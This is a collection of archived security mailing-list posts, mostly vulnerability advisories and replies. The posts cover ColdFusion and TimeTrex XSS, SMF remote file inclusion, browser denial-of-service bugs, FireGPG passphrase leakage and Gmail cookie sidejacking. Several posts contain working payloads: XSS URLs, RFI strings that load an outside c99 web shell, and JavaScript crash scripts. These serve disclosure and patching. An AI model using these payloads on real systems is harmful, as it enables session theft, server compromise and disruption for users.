> http://localhost:8500/CFIDE/administrator/logviewer/searchlog.cfm?viewShort=0&sortBy=&filter=CurrentFilter&startRow=22%22%20%20STYLE=%22background-image:url(javascript:alert(%27%DF%20%E7%E4%E5%F1%FC%20%E1%FB%EB%27))%22%3E
>
> 1.2 Linked XSS vulnerability found in script _logintowizard.cfm. Attacker can
> inject XSS in url string
>
>
> Example
> ***
> http://localhost:8500/CFIDE/wizards/common/_logintowizard.cfm?>'">alert('DSECRG_XSS')
>
>
> 1.3 Linked XSS vulnerability found in script _authenticatewizarduser.cfm.
> Attacker can inject XSS in url string
>
> Example
> ***
> http://localhost:8500/CFIDE/wizards/common/_authenticatewizarduser.cfm?>'">alert('DSECRG_XSS')
>
>
> 1.4 Linked XSS vulnerability found in script
> _authenticatewizarduser.cfm.Attacker can inject XSS in url string
>
> Example
> ***
> http://localhost:8500/CFIDE/administrator/enter.cfm?>'">alert('DSECRG_XSS')
>
>
>
> Fix Information
> ***
> The issue has been solved 17 august 2009. http://www.adobe.com/go/apsb09-12
>
>
> References:
> ***
>
> http://www.adobe.com/go/apsb09-12
> http://www.dsecrg.com/pages/vul/show.php?id=122
>
>
> About
> *
>
>
> Digital Security is leading IT security company in Russia, providing
> information security consulting, audit and penetration testing services, risk
> analysis and ISMS-related services and certification for ISO/IEC 27001:2005
> and PCI DSS standards. Digital Security Research Group focuses on web
> application and database security problems with vulnerability reports,
> advisories and whitepapers posted regularly on our website.
>
>
> Contact:research [at] dsecrg [dot] com
> http://www.dsecrg.com
>
>
>
>
>
>
>
>
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/
iEYEARECAAYFAkqJdoIACgkQnvIkv6fg9haS8gCeP1tWQrOIA4Jnro/EhffOwPp8
4FsAn1u1QO4KuQaFDRTOkWgCxTx04D0H
=Myzk
-END PGP SIGNATURE-
RE: Insufficient Authentication vulnerability in Asus notebook
A better option is to set a strong password and set a local policy that the local admin account cannot be accessed over the network. I'm a big advocate of that in all environments and prevents the need for renaming the account to prevent automated attacks. Thanks, _ Mike Wilson -Original Message- From: Susan Bradley [mailto:sbrad...@pacbell.net] Sent: Thursday, May 14, 2009 2:39 PM To: my.security.li...@gmail.com Cc: MustLive; bugtraq@securityfocus.com Subject: Re: Insufficient Authentication vulnerability in Asus notebook We're talking XP Home here, right? A admin account without a password cannot be access remotely over the internet, so if you have physical access at all times of that Asus netbook it's arguably more secure in some circumstances. nameless wrote: > Susan Bradley wrote: > >> 3. For XPs it's kinda handy to have a blank admin password when you >> sometimes come in on a network and need to get to that particular >> machine and you didn't set it up, otherwise you have to use the Admin >> password boot disk trick and reset the password to blank. >> > > You should only do the above recommendation, if you like to have your > boxes owned. > > You should not have any administrative accounts named "Administrator" > and _all_ administrative accounts should have a _STRONG_ password > associated with them. > > No exceptions. > > Password safes are available at no charge. If you somehow forget your > password, you can always reset it via AD or resetting the SAM. > > > *** NOTICE--The attached communication contains privileged and confidential information. If you are not the intended recipient, DO NOT read, copy, or disseminate this communication. Non-intended recipients are hereby placed on notice that any unauthorized disclosure, duplication, distribution, or taking of any action in reliance on the contents of these materials is expressly prohibited. If you have received this communication in error, please delete this information in its entirety and contact the Amedisys Privacy Hotline at 1-866-518-6684. Also, please immediately notify the sender via e-mail that you have received this communication in error. ***
RE: Insufficient Authentication vulnerability in Asus notebook
Agreed, it is an oversimplification (or a surrender) to say that good security practice is useless on a laptop or tablet because it is not a case of if you will not have complete control, but rather when and for how long. Indeed, a comprehensive security plan becomes that much more important. Look at every laptop as if you will never see it again and ensure that your data remains yours, to the best of your ability. Of course, having XP home may be considered a vulnerability in and of itself, but that is another matter. What we as a community have to realize is that we have new blood coming in all the time and issues like this being brought back up are good to ensure that something as simple as this is not missed because it is assumed that we all know it. Thanks, _ Mike Wilson -Original Message- From: Bob Fiero [mailto:i...@mentalfloss.net] Sent: Thursday, May 14, 2009 10:12 AM To: bugtraq@securityfocus.com Subject: Re: Insufficient Authentication vulnerability in Asus notebook > You get the idea. This is non issue. I disagree. You are involved in intense business negotiations. During lunch you leave your notebook unattended assuming it is safe with a password protected userID. Your competitor goes in to the conference room and logs in with Administrator and installs something like eBlaster to log everything you do and email it to him. Far fetched, but not a non-issue. _ From: Mike Vasquez [mailto:mike.vasq...@gmail.com] To: Jeremy Brown [mailto:0xjbrow...@gmail.com] Cc: MustLive [mailto:mustl...@websecurity.com.ua], bugtraq@securityfocus.com [mailto:bugt...@securityfocus.com] Sent: Thu, 14 May 2009 11:02:38 -0400 Subject: Re: Insufficient Authentication vulnerability in Asus notebook Once someone has physical access all bets are off, there's a lot the can do. 1) steal it 2) boot off cd and reset/enable admin acct 3) boot off cd and grab all hashes 4) pour a perfectly good frappucino on the keyboard 5) cover it with smiley face stickers You get the idea. This is non issue. *** NOTICE--The attached communication contains privileged and confidential information. If you are not the intended recipient, DO NOT read, copy, or disseminate this communication. Non-intended recipients are hereby placed on notice that any unauthorized disclosure, duplication, distribution, or taking of any action in reliance on the contents of these materials is expressly prohibited. If you have received this communication in error, please delete this information in its entirety and contact the Amedisys Privacy Hotline at 1-866-518-6684. Also, please immediately notify the sender via e-mail that you have received this communication in error. ***
Re: Insufficient Authentication vulnerability in Asus notebook
Once someone has physical access all bets are off, there's a lot the can do. 1) steal it 2) boot off cd and reset/enable admin acct 3) boot off cd and grab all hashes 4) pour a perfectly good frappucino on the keyboard 5) cover it with smiley face stickers You get the idea. This is non issue. On May 14, 2009, at 6:37 AM, Jeremy Brown <0xjbrow...@gmail.com> wrote: If you explore further research, you will find that this is not a bug, this is well known, and its not particular to Asus. 2009/5/14 MustLive : Hello SecurityFocus! I want to warn you about Insufficient Authentication vulnerability in Asus notebook. After publication of information about Insufficient Authentication vulnerability in Acer notebooks (http://www.securityfocus.com/archive/1/503398/30/0/), I decided to investigate all notebooks of my friends. Particularly I checked two Asus notebooks: at one with Windows XP Professional there is no such vulnerability, at another with Windows XP Home Edition there is such vulnerability. In Windows XP Home in default administrator's account "Administrator" there is empty password. And it does not set equal to password of first admin, when admin account is creating during first start of notebook (as it happens during installation of Windows XP). So with physical access to notebook, anybody can enter into the system with administrator's rights. Vulnerable models of notebooks: Asus А6500R and potentially other models. I mentioned about these vulnerability at my site (http://websecurity.com.ua/3139/). Now I'm continue to investigate this situation. If you'll find such case in your notebook or in desktop PC, then inform me on email. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua
Re: Denial of Service using Partial GET Request in Mozilla Firefox 3.06
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 xiash...@gmail.com wrote: > It's been confirmed that this is not problem in IE. Sorry I didn't mention > that. Microsoft uses Silverlight: > > GET /index.php?page=Poem/Poem.php HTTP/1.1 > Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, > application/x-ms-application, application/vnd.ms-xpsdocument, > application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, > application/x-silverlight, */* ...and how did you confirm that? By seeing Silverlight in the accepted mime-types header? Silverlight is a plugin which is a lot like the Flex framework for Flash, only for .Net. So, I guess you have a Silverlight application installed to play .WAV files, but this does not change the fact that anything outside of IE (which has the Silverlight extension installed) will use whatever the default media player is on your PC. > Accept-Language: en-au > UA-CPU: x86 > Accept-Encoding: gzip, deflate > User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET > CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) > Host: www.footprints-inthe-sand.com > Connection: Keep-Alive > > It could either be because of what Sean said with the Range request or the > Partial GET Request in Firefox. But I think you are probably correct Rolphin, > as I've had a lot of Windows Media Player crashes recently. Either way, > Windows Media Player should probably not be incorporated into Firefox if it's > going to crash. A more stable platform should be used (such as Silverlight) You can choose a different player within the preferences of Firefox. What is the problem again? - -- Mike Duncan ISSO, Application Security Specialist Government Contractor with STG, Inc. NOAA :: National Climatic Data Center -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkmVp6oACgkQnvIkv6fg9haRoQCfZnSsBLB7FmFKHWAM3GGaX4Da k6YAn1rTkC+aog6Aj1pw9IxiAQfcRjfC =FaH3 -END PGP SIGNATURE-
FireGPG Passphrase And Cleartext Vulnerability
Vulnerability Affecting FireGPG Passphrase and Cleartext Recovery 10/20/2008 Abstract FireGPG is a Firefox extension that provides a front-end to GPG, allowing webmail users to conveniently exchange GPG messages from Firefox. Unfortunately, the way that FireGPG handles the user's passphrase and decrypted cleartext is not secure and may result in the compromise of secure communication or a users's private key. Description FireGPG does its encrypt/decrypt/sign/verify operations by shelling out to a locally installed GPG executable. The problem is that instead of using stdin/stdout to pass information, it writes everything to disk and passes the files as arguments. When a user receives an encrypted email and asks FireGPG to decrypt it, FireGPG prompts the user for her passphrase and then creates three temporary files. One for the ciphertext, one for the resulting cleartext (!), and one for the user's passphrase (!). The user's passphrase is then written to disk, and the temporary file in which it resides is passed to the gpg executable as a command-line argument. The cleartext from the decrypt operation is then written to disk as well, from where it is subsequently read and displayed to the user. The same process occurs for emails that are being encrypted and signed. Notably, in the latter cases the pre-encrypted cleartext is written to disk, as is the passphrase for the signing key. Obviously, there are a number of attack vectors here. If an adversary were to seize the user's disk, they would easily be able to recover the passphrase used in previous FireGPG operations. In that case, all past correspondence secured by that key would be compromised. Even if the user had just changed their passphrase and hadn't used FireGPG since then, the adversary would be still be able to recover copies of decrypted and pre-encrypted cleartext emails that touched the disk. Additionally, as another vector of attack, the temporary files that FireGPG creates for storing this information are constructed with predictable filenames. It is possible for someone with an account on the same machine to exploit the race condition that results at the time these files are created, such that the output from a decrypt operation is written to a symlink which points to a file that they own -- thus eliminating the need for data recovery. There is a working exploit for this. Severity Users who are serious about securing their data and communication against a threat model that includes others gaining access to their machines (either through hardware seizure or multiple user accounts) should change their passphrases and scrub their disks. = Affected Versions All versions of FireGPG previous to 0.6 are vulnerable. Version 0.6 was released on 10/17/2008 in response to this issue. - moxie -- Thoughtcrime: http://www.thoughtcrime.org Audio Anarchy: http://www.audioanarchy.org Anarchist Yacht Clubb: http://www.blueanarchy.org
Re: MS Internet Explorer 7 Denial Of Service Exploit
Neat PoC. However, this requires the users to have configured IE to run
Active-X content. On my test machines, I was prompted by the Browser
before the code ran. Surprisingly, CSA never stopped it.
I tested this on:
Internet Explorer 7 on Windows XP 32-bit w/ Cisco Security Agent
v5.0.0.176
Internet Explorer 7 on Vista 32-bit (no CSA)
Thanks,
Mike Pruett
-Original Message-
From: Jan van Niekerk [mailto:[EMAIL PROTECTED]
Sent: Monday, September 29, 2008 10:37 PM
To: [EMAIL PROTECTED]
Cc: bugtraq@securityfocus.com
Subject: Re: MS Internet Explorer 7 Denial Of Service Exploit
This DOS works quite nicely on Konqueror / KDE 3.5.9 too.
jv.
On 29 Sep 2008 19:59:55 -, [EMAIL PROTECTED]
<[EMAIL PROTECTED]> wrote:
>
>
> MS Internet Explorer 7 Denial Of Service Exploit
>size="2" color="#FF">MS Internet Explorer 7 Denial Of Service
> Exploit src="http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg";>
>
>
>
> var x=String.fromCharCode(550);
> var x2="";
> var x3="";
> for(i=0;i<1549;i++)
> {x2=x2+x;}
> for(i=0;i<1549;i++)
> {x3=x3+x2;}
> var x4=x;
> for(i=0;i<105;i++) x4 += x4;
> for(i=0;i<165;i++) x4 += x3;
> var wildboy=escape(x4);
> alert(wildboy);
>
>
> WiLdBoY
> a.k.a UniquE-Key{UniquE-Cracker} n.s.n Mert KAYALAR
> color="#FF">[EMAIL PROTECTED]
>
> -Software
> Hunter-
>
>
>
Re: Chrome(0.2.149.27) title(not the tag) Denial of Service(Freeze) exploit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Yeah, when you do that, it is generating a tool-tip to display. Additionally, the large number of iterations this script must run through may cause a crash due to resource exhaustion. Have you tested further to see what values actually produce the results or are we going on the assumption that is a very large number? Mike Duncan ISSO, Application Security Specialist Government Contractor with STG, Inc. NOAA :: National Climatic Data Center [EMAIL PROTECTED] Rotem Kerner wrote: | this successfully freezed my chrome on both Vista & XP platforms | dont move your mouse for a sec while its laying on the white background | and it should freeze. | | Exodus. | | http://www.blackhat.org.il | "imagination is more importan than knowledge" |> I could not duplicate this with either Chrome v0.2.149.29. I think |> this problem was now solved. |> |> -- |> _Wellington Wagner F. Sarmento |> |> "Where is the wisdom we have lost in knowledge? |> Where is the knowledge we have lost in information?" |> T.S. Eliot |> |> |>> a vulnerability was found which allow a remote attacker to freeze the |>> users |>> browser |>> by convincing him to visit a malicious web page |>> |>> Chrome(0.2.149.27) Denial of Service(Freeze) exploit poc: |>> http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html |>> |>> Exodus. |>> |>> |>> |>> |>> |> -- |> _Wellington Wagner F. Sarmento |> "Where is the wisdom we have lost in knowledge? |> Where is the knowledge we have lost in information?" |> T.S. Eliot |> |> |> |> | | | -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFIxr19nvIkv6fg9hYRArtYAJ9XNmuZqbUXzw4/6Wa5Q1h8eR2jNwCdHKNh ixXVtaTQr1dM/hyWwLNSWQc= =2SJC -END PGP SIGNATURE-
Re: Chrome(0.2.149.27) title(not the tag) Denial of Service(Freeze) exploit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 I could not duplicate this with either Chrome or Safari (which also uses WebKit). I am using WinXP SP3 and Chrome v0.2.149.27 build 1538. I wonder if this is instead an issue with your Windows installation rendering the tool-tip for the title (which is default with browsers using WebKit). I tried varying values all the way up to 2147483647. Of course, the script running these high values would take a long time to complete the loop -- but that is to be expected. Mike Duncan ISSO, Application Security Specialist Government Contractor with STG, Inc. [EMAIL PROTECTED] Rotem Kerner wrote: | a vulnerability was found which allow a remote attacker to freeze the | users browser | by convincing him to visit a malicious web page | | Chrome(0.2.149.27) Denial of Service(Freeze) exploit poc: | http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html | | Exodus. | | | -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD4DBQFIxWRHnvIkv6fg9hYRAnUqAJdM1yO2L0MoUJcM8rbKCjkHQ1EzAKCQZaEh OhKfgPnoocKhaz/ILWRBxw== =18Pq -END PGP SIGNATURE-
Re: TimeTrex Time and Attendance Cookie Theft
This issue only affects TimeTrex v2.2.12 and older. TimeTrex v2.2.13 and newer are patched, the latest version can be downloaded from: http://www.timetrex.com/ or http://sourceforge.net/project/showfiles.php?group_id=174864&package_id=200595 Thanks. On 21 Aug 2008 16:50:07 - [EMAIL PROTECTED] wrote: > [HSC] TimeTrex Time and Attendance Cookie Theft > > > TimeTrex allows companies to track and monitor employee attendance > accurately in real-time from anywhere > > in the world. An attacker may leverage these issues to execute > arbitrary script code in the browser of > > an unsuspecting user in the context of the affected site. Attacker > can tricks the user's computer into > > running code which is treated as trustworthy because it appears to > belong to the server, allowing the > > attacker to obtain a copy of the cookie or perform other operations. > > > > Hackers Center Security Group (http://www.hackerscenter.com) > Credit: Doz > > Class: Cross Site Scripting > Remote: Yes > > Product: TimeTrex > Vendor: http://www.timetrex.com > Version: N/A > > > Attackers can exploit these issues via a web client. > > > http://site.com/interface/Login.php?user_name=admin&password=XSS > http://site.com/interface/Login.php?user_name=XSS > > > > > Google Dork: TimeTrex Time and Attendance - Secure Login > > Reference: > > http://www.hackerscenter.com/index.php?/HSC-Research-Group/Advisories/HSC-TimeTrex-Time-and-Attendance-Cookie-Theft.html -- Mike ([EMAIL PROTECTED])
SYM08-015_SFW_SecurityUpdateBypass
The attached is a signed version of the security advisory for Symantec Storage Foundation for Windows 5.x that was released today. If we can get the signature to verify, please post to bugtraq Regards <> -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Symantec Product Security/Vulnerability Management Team Symantec takes the security of our products seriously as a responsible disclosure company. You can view our response policies at http://www.symantec.com/security. We will work directly with anyone who believes they have found a security issue in a Symantec product to validate the problem and coordinate any response deemed necessary. Please contact [EMAIL PROTECTED] concerning security issues with Symantec products. -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.0.6 (Build 6060) iQEVAwUBSKR0PF1lCKGx9Sr8AQh1/gf/Y+AWFzHBxOGQwoQTAko7kxLQVf7jeC3d O0jQrpLN7VMgwtu20P9+Zxan0C/pmkCnTu/LnjLJZkSMzZzqX00AXTYV4dM093LH 6ySn5jkB7JbNAUFCjvF/AOUuHu6uCLxoN1lE1uqg+gr9AQ3jwCFY05t+lsmnhNke gbJQ7uPlsPavu9EtXyXZ/JRbfXZYJLlChyeVm9raUWknUGlEo3M8eNVS2D/WItdv o5dsydaOjpr8sqC5Tq0FpTqs+PWh5c/qopyTiwbtLcJ99WuANh6K2L1adAxSEWLu U09m0RVv4RsssLOqVJWgEFNhchch4O/OTG1Z7TCIAGF6rbIbSAW8RQ== =pdAD -END PGP SIGNATURE- -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Symantec Security Advisory SYM08-015 14 Aug, 2008 Veritas Storage Foundation for Windows Volume Manager Scheduler Service for Windows Security Update Circumvention Revision History None Severity Medium Remote Access Yes, network access required Local Access No Authentication Required No Exploit publicly available No Overview It is possible to circumvent the security patch that resolved a previously identified authentication bypass, remote code execution vulnerability in the Veritas Storage Foundation for Windows v5.0 Volume Manager Scheduler Service.Successful exploitation could result in potential compromise of the targeted system. Product(s) Affected Product Version Solution(s) Veritas Storage Foundation for Windows 5.0, 5.0 RP1a, 5.1 http://entsupport.symantec.com/docs/306386 Note: Only those versions identified above are affected by this issue. Details 3Com Zero Day Initiative, notified Symantec of a vector that can allow a malicious user to circumvent the security update for an authentication bypass vulnerability previously reported in the Veritas Storage Foundation for Windows Scheduler Service, http://www.symantec.com/avcenter/security/Content/2007.06.01.html. The Scheduler Service server, introduced in Veritas Storage Foundation for Windows v5.0, listens for incoming scheduling messages from client systems. An attacker with network access who could connect directly to the Scheduler Service socket could bypass the security update to the previously reported issue. By properly manipulating this vector, the attacker has the potential to add arbitrary commands to the registry that, if properly constructed, would be executed on the targeted system during normal scheduled runs. Symantec Response Symantec engineers have verified and resolved this issue in the Veritas Storage Foundation for Windows versions and builds identified above. Symantec recommends customers apply the latest product update available for their supported product versions to enhance their security posture and protect against potential security threats of this nature. Symantec knows of no exploitation of or adverse customer impact from this issue. The patches listed above for affected product/version are available from the following location: http://entsupport.symantec.com/docs/306386 Best Practices As part of normal best practices, Symantec strongly recommends: * Restrict access to administration or management systems to privileged users. * Restrict remote access, if required, to trusted/authorized systems only. * Run under the principle of least privilege where possible to limit the impact of exploit by threats. * Keep all operating systems and applications updated with the latest vendor patches. * Follow a multi-layered approach to security. Run both firewall and anti-malware applications, at a minimum, to provide multiple points of detection and protection to both inbound and outbound threats. * Deploy network and host-based intrusion detection systems to monitor network traffic for signs of anomalous or suspicious activity. This may aid in detection of attacks or malicious activity related to exploitation of latent vulnerabilities Credit: Symantec would like to thank Tenable Security working through 3Com ZDI for reporting this issue and for providing coordination while Symantec resolved it. References: SecurityFocus, http://www.securityfocus.com, has assigned a Bugtraq ID (BID), 30596 to this issue for inclusion in the SecurityFocus vulnerability data base. The BID can be found at http://www.securityfocus.com/bid/30596 This issue is a candidate for inclusion in the CVE list (http://cv
RE: Internet explorer 7.0 spoofing
He's basically saying that if you create a popup small enough width-wise, then you can hide everything before the # so that unless the user actually goes into the address bar and scrolls left, all they will see is what you put after the #. Here's a screenshot so you can see what he's talking about: http://lh6.google.com/mikediaz.360/R_PpsHN-hCI/ABc/_F2JZMpUiS4/Screenshot.png
Re: Smf 1.1.4 Remote File Inclusion Vulnerabilities
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
If you look at the source, it is looking for a constant SMF and if this
is undefined, it will die with that error message.
- From line 24 of Sources/Themes.php:
if(!defined('SMF'))
die('Hacking attempt...');
I looked over the source and like so many of these RFIs coming out
lately, they highly depend on register_globals being on as well.
I think s/he is specifically pointing to line 913 of Sources/Themes.php
as well...
if (file_exists($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php'))
include($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php');
(sorry for wrapping)
sibertrwolf: Just a suggestion, you may want to put a bit more
information in your disclosures like what versions of PHP and what INI
settings you have set.
Jindrich Kubec wrote:
> At 11:00 28.3.2008, [EMAIL PROTECTED] wrote:
>> #
>> /Sources/Subs-Graphics.php?settings[default_theme_dir]=http://bilmemne.siz/c99.txt?
>>
>> #
>> # /Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt?
>
> What is it supposed to do? I'm getting only "Hacking attempt..."
>
>
> Jindroush ([EMAIL PROTECTED])
>
>
- --
Mike Duncan
ISSO, Application Security Specialist
Government Contractor with STG, Inc.
NOAA :: National Climatic Data Center
151 Patton Ave.
Asheville, NC 28801-5001
[EMAIL PROTECTED]
828.271.4289
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFH7T3+nvIkv6fg9hYRAry+AJ4si3vF7CMQ2aVhK9OEJFhoWI6mGQCfSrr8
5HSu5zJGQEJuqSZVIYlGf/w=
=I2f6
-END PGP SIGNATURE-
Active Gmail "Sidejacking" - https is NOT ENOUGH
I have noticed several media articles recommending that users use https to protect their gmail sessions from Robert Graham's "Sidejacking" attackers. It turns out that independent of Mr. Graham's work, I have also been investigating these types of attacks as they pertained to users' safety while they use the Tor network. As I presented in my Black Hat and DefCon talks on Securing the Tor Network, it turns out that using https for accessing mail.google.com is not sufficient to protect you from many "Sidejacking" attacks. The 'GX' authentication cookie for mail.google.com is set to be transmitted for any type of connection (http or https). This is the only cookie one needs to authenticate to gmail. This "Any type of connection" property allows an attacker execute a cross site request forgery attack to inject spoofed 'http://mail.google.com' content elements or meta-refresh tags into ANY WEB PAGE loaded by a user. Repeat: the user does NOT have to be using gmail at the time, they just need to have a valid 'GX' authentication cookie from a prior login, and then visit ANY WEBSITE. Upon fetching/executing these injected elements, the browser will transmit the 'GX' cookie in the clear for the load of the spoofed element. Arp spoofing, DHCP spoofing, DNS spoofing, and TCP race-based attacks (such as AirPwn) are all valid vectors for inserting these content elements. The ONLY way to be safe is to clear your google cookies immediately after using gmail, or to mash the logout button. Obviously, being a privacy advocate, I would prefer everyone did the former :) Many other sites also have this same problem. In fact, I just purchased an item from a site that failed to enforce that its cookies are transmitted for "Encrypted Sessions Only". The FireFox addon CookieCuller is a nice easy way to inspect this property of cookies. You should check your banks :) Security is a hobby of mine - unfortunately I have neither the interest nor the time to produce a proof of concept of this attack. Quite frankly, I'd rather spend my free time helping to improve the Tor network, rather than releasing attacks that may compromise its users or the general public. My reluctance to release does not stem from any particular moral opposition to full disclosure. If google and other sites continue to ignore this issue, I may be motivated to make a release. It is very likely "bad guys" will beat me to it anyway, because this attack is relatively simple with the right MITM tools. You can verify the validity of this attack by logging in to https://mail.google.com. You will remain in https://mail.google.com after the login is complete. Now, use CookieCuller to blow away all but the 'GX' cookie. After this, close your gmail tab, and then visit http://mail.google.com. You will still be authenticated. -- Mike Perry Mad Computer Scientist fscked.org evil labs pgpxh2XwlYPq7.pgp Description: PGP signature
Re: Internet Explorer Crash
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Nope. Ran this one against Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2, and it didn't even flinch. No OOM-killing here. On the other hand, Konqueror 3.5.5 "release 45.4" churned swap madly for about five minutes (the machine continued to run well enough if just a bit slower) until Konq sig-sixed itself. Cheers The Anarcat wrote: > Actually, this also crashes Mozilla/5.0 (X11; U; Linux i686; en-US; > rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) > > I would think that Firefox and most browsers implementing javascript > would die an horrible OOM death on this. > > A. > > On Tue, Apr 17, 2007 at 01:09:13PM -0400, J. Oquendo wrote: > Product: Internet Explorer Version 7.0.5730.11 > Impact: Browser crash possibly more > Author: Jesus Oquendo > echo @infiltrated|sed 's/^/sil/g;s/$/.net/g' > > > I. BACKGROUND > Why bother? Who doesn't know what Internet Explorer and Microsoft are. > > II. DESCRIPTION > IE 7 is vulnerable to a script which causes the browser to hang. The > memory and CPU usage go through the roof. Originally the script caused > (and still causes) Safari and Konqueror to crash. > > III SOLUTION > Stop using Microsoft products or deal with a new advisory every other > day. > > IV. Proof > http://www.infiltrated.net/stupidInternetExploder.html > > V. Code > > $ more /stupidInternetExploder.html > > > > var reg = /(.)*/; > > var z = 'Z'; >while (z.length <= > 999 > 99 > 99 > 99 > 99) > z+=z; >var boum = reg.exec(z); > > > > Goodbye > > > J. Oquendo > http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743 > sil . infiltrated @ net http://www.infiltrated.net > > The happiness of society is the end of government. > John Adams > > >> -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (GNU/Linux) Comment: Using GnuPG with SUSE - http://enigmail.mozdev.org iD8DBQFGJVHvtHLm/XkyJlsRApr1AKCLOVJLSHhSRV9edwUm2QNLNry9RwCgxFeX N1X/wJSO4U4Sx3z5Yn0S6Tk= =T/tc -END PGP SIGNATURE-
Re: Re: [Full-disclosure] Microsoft Windows XP/2003/Vista memory corruption 0day
Well, Just a warning b4 running the proof of concept... Make sure to close and save useful stuff. It indeed works on xp sp2 and it will reboot your machiene. I have to say, This would be trick to exploit another programs messagebox, and wha joy could you possibly get out of restarting someone computer. I dont think there is possiblility for any code execution, as far as I seen. Would be a nice S-Kiddy toy if you could do it remotely, but would also piss off alot of people.
Call for papers and presenters - Dec. 15th deadline
The program committee welcomes original contributions not previously presented at any other conference or workshop on the following topics: 1. Compliance / Audit 2. Physical Security 3. Infrastructure 4. Information Security 5. Forensics 6. SCADA Security Papers promoting vendor specific products or services will not be considered nor accepted. Deadline is December 15th, sorry for the short notice. Please see http://www.trisc.org/ for more information.
SYM06-023, Symantec NetBackup PureDisk: PHP update to Address Reported Security Vulnerability
SYM06-023 Nov 28, 2006 Symantec NetBackup PureDisk: PHP update to Address Reported Security Vulnerability Reference: http://www.securityfocus.com/bid/20879/ Revision History none Severity High (configuration dependent) Remote Yes Local No Authentication Required Yes (to network) Exploit publicly available No Overview Symantec has released an update to address a security concern in PHP, a commonly used HTML-embedded scripting language, for Symantec's Veritas NetBackup 6.0 PureDisk Remote Office Edition. A heap overflow has been reported in the version of PHP shipped with the affected product builds listed below. The management interface of Symantec's product is accessible only through an SSL connection by default. Depending on configuration, however; an unauthorized user could potentially attempt to execute arbitrary code in the context of the vulnerable server, which runs in non-privileged mode by default. Affected Product/Version Product Version Build Solution(s) Symantec Veritas NetBackup PureDisk Remote Office Edition (all platforms) 6.0GA, MP1 NB_PDE_60_MP1_S01 Not Affected Symantec Veritas NetBackup PureDisk Remote Office Edition (all platforms) 6.1 Symantec Response Symantec engineers have addressed the reported issue and provided Security updates. Symantec strongly recommends all customers apply the latest security update identified above or upgrade to Symantec Veritas NetBackup PureDisk Remote Office Edition 6.1 to protect against threats of this nature. Symantec knows of no exploitation of or adverse customer impact from this issue. The patch is available from: http://support.veritas.com/docs/285984 for Symantec Veritas NetBackup PureDisk Remote Office Edition 6.0. Best Practices As part of normal best practices, Symantec recommends: * Restrict access to administration or management systems to authorized privileged users only * Block remote access to all ports not essential for efficient operation * Restrict remote access, if required, to trusted/authorized systems only * Remove/disable unnecessary accounts or restrict access according to security policy as required * Run under the principle of least privilege where possible * Keep all operating systems and applications updated with the latest vendor patches * Follow a multi-layered approach to security. Run both firewall and antivirus applications, at a minimum, to provide multiple points of detection and protection to both inbound and outbound threats * Deploy network intrusion detection systems to monitor network traffic for signs of anomalous or suspicious activity. This may aid in detection of attacks or malicious activity related to exploitation of latest vulnerabilities CVE CVE-2006-5465 has been assigned to this issue. This issue is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. -- Symantec takes the security and proper functionality of its products very seriously. As founding members of the Organization for Internet Safety (OISafety), Symantec follows the principles of responsible disclosure. Symantec also subscribes to the vulnerability guidelines outlined by the National Infrastructure Advisory Council (NIAC). Please contact [EMAIL PROTECTED] if you feel you have discovered a potential or actual security issue with a Symantec product. A Symantec Product Security team member will contact you regarding your submission. Symantec has developed a Product Vulnerability Handling Process document outlining the process we follow in addressing suspected vulnerabilities in our products. We support responsible disclosure of all vulnerability information in a timely manner to protect Symantec customers and the security of the Internet as a result of vulnerability. This document is available from http://www.symantec.com/security/ Symantec strongly recommends using encrypted email for reporting vulnerability information to [EMAIL PROTECTED] The Symantec Product Security PGP key can be obtained from http://www.symantec.com/security/ -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 - Symantec Product Security Team Symantec takes the security of our products seriously as a responsible disclosure company. You can view our response policies at http://www.symantec.com/security. We will work directly with anyone who believes they have found a security issue in a Symantec product to validate the problem and coordinate any response deemed necessary. Please contact [EMAIL PROTECTED] concerning security issues with Symantec products. -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.0.6 (Build 6060) iQEVAwUBRW3Pqhy6+gFWHby+AQhUJQgAux4e4+Za3jYVbRORMbPlPnNWNB4zM47m IxSlXppVsZ1iU/tegvSwo62AwDCNRaRw5iERBlhF/VXiNe5UTe/B/HHczvC6GRj0 